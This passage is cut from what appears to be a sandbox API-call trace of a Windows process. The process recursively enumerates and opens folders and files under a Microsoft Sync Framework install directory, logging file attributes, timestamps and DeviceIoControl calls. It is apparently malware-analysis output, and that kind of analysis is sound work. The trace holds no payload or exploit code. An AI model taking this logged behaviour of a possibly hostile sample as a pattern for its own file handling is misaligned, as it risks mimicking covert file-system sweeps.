out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x168b54c0, ftCreationTime.dwHighDateTime=0x1d53ecf, ftLastAccessTime.dwLowDateTime=0x37fbb6a0, ftLastAccessTime.dwHighDateTime=0x1d58cda, ftLastWriteTime.dwLowDateTime=0x37fbb6a0, ftLastWriteTime.dwHighDateTime=0x1d58cda, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="active-charge.exe", cAlternateFileName="")) returned 1 [0079.990] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x61da4e0, ftCreationTime.dwHighDateTime=0x1d56241, ftLastAccessTime.dwLowDateTime=0xdf7fb440, ftLastAccessTime.dwHighDateTime=0x1d5ac05, ftLastWriteTime.dwLowDateTime=0xdf7fb440, ftLastWriteTime.dwHighDateTime=0x1d5ac05, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="smartftp.exe", cAlternateFileName="")) returned 1 [0079.990] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v1.0", cAlternateFileName="")) returned 1 [0079.990] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0079.991] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0" (normalized: "c:\\program files\\microsoft sync framework\\v1.0"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0079.991] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0" (normalized: "c:\\program files\\microsoft sync framework\\v1.0"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0079.991] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0079.991] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11fe6e0 [0079.991] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11fe6e0, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x11fe6e0, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0079.992] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe6e0) returned 1 [0079.992] NtClose (Handle=0x168) returned 0x0 [0079.992] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0079.992] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0079.992] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb950 [0079.992] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.992] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9040 [0079.992] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.993] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Documentation", cAlternateFileName="")) returned 1 [0079.993] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Runtime", cAlternateFileName="")) returned 1 [0079.993] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Runtime", cAlternateFileName="")) returned 0 [0079.993] GetLastError () returned 0x12 [0079.993] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9000 [0079.993] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0079.993] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.993] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Documentation", cAlternateFileName="")) returned 1 [0079.993] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb7b8 [0079.993] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\documentation"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0079.994] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\documentation"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0079.994] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0079.994] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11fe6e0 [0079.994] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11fe6e0, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x11fe6e0, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0079.995] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe6e0) returned 1 [0079.995] NtClose (Handle=0x168) returned 0x0 [0079.995] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb7b8) returned 1 [0079.995] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb7b8 [0079.995] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0079.995] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0079.995] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9040 [0079.995] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.995] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0079.995] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0079.995] GetLastError () returned 0x12 [0079.995] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9100 [0079.996] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0079.996] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.996] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0079.996] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0079.996] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0079.996] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123af18 [0079.996] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\documentation\\1033"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0079.997] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\documentation\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0079.997] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0079.997] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11fe6e0 [0079.997] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11fe6e0, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x11fe6e0, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0079.997] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe6e0) returned 1 [0079.997] NtClose (Handle=0x168) returned 0x0 [0079.998] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x123af18) returned 1 [0079.998] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0079.998] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce08 [0079.998] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123af18 [0079.998] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0079.998] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123b128 [0079.998] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0079.998] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.998] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="License Agreements", cAlternateFileName="")) returned 1 [0079.998] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="License Agreements", cAlternateFileName="")) returned 0 [0079.998] GetLastError () returned 0x12 [0079.998] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f80 [0079.999] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0079.999] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.999] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="License Agreements", cAlternateFileName="")) returned 1 [0079.999] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123b020 [0079.999] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce08) returned 1 [0079.999] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123b968 [0079.999] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\License Agreements" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\documentation\\1033\\license agreements"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0079.999] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\License Agreements" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\documentation\\1033\\license agreements"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0080.000] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0080.000] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11fe6e0 [0080.000] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11fe6e0, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x11fe6e0, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0080.000] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe6e0) returned 1 [0080.000] NtClose (Handle=0x168) returned 0x0 [0080.000] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x123b968) returned 1 [0080.000] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce08 [0080.000] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.000] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123b968 [0080.001] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce08) returned 1 [0080.001] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123ba70 [0080.001] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\License Agreements\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9040 [0080.001] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.001] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb2b9400, ftCreationTime.dwHighDateTime=0x1c9c55a, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb2b9400, ftLastWriteTime.dwHighDateTime=0x1c9c55a, nFileSizeHigh=0x0, nFileSizeLow=0x1afd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="SynchronizationEula.rtf", cAlternateFileName="")) returned 1 [0080.001] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce08 [0080.001] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce08) returned 1 [0080.001] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce08 [0080.002] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce08) returned 1 [0080.002] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce08 [0080.002] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123bb78 [0080.002] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.002] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f3ed0 [0080.002] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123bc80 [0080.002] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x5cc0) returned 0x12292f0 [0080.003] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1234b40) returned 1 [0080.003] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce08) returned 1 [0080.003] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb2b9400, ftCreationTime.dwHighDateTime=0x1c9c55a, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb2b9400, ftLastWriteTime.dwHighDateTime=0x1c9c55a, nFileSizeHigh=0x0, nFileSizeLow=0x1afd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="SynchronizationEula.rtf", cAlternateFileName="")) returned 0 [0080.003] GetLastError () returned 0x12 [0080.003] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\License Agreements\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0080.003] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0080.003] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.003] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb2b9400, ftCreationTime.dwHighDateTime=0x1c9c55a, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb2b9400, ftLastWriteTime.dwHighDateTime=0x1c9c55a, nFileSizeHigh=0x0, nFileSizeLow=0x1afd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="SynchronizationEula.rtf", cAlternateFileName="")) returned 1 [0080.003] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: 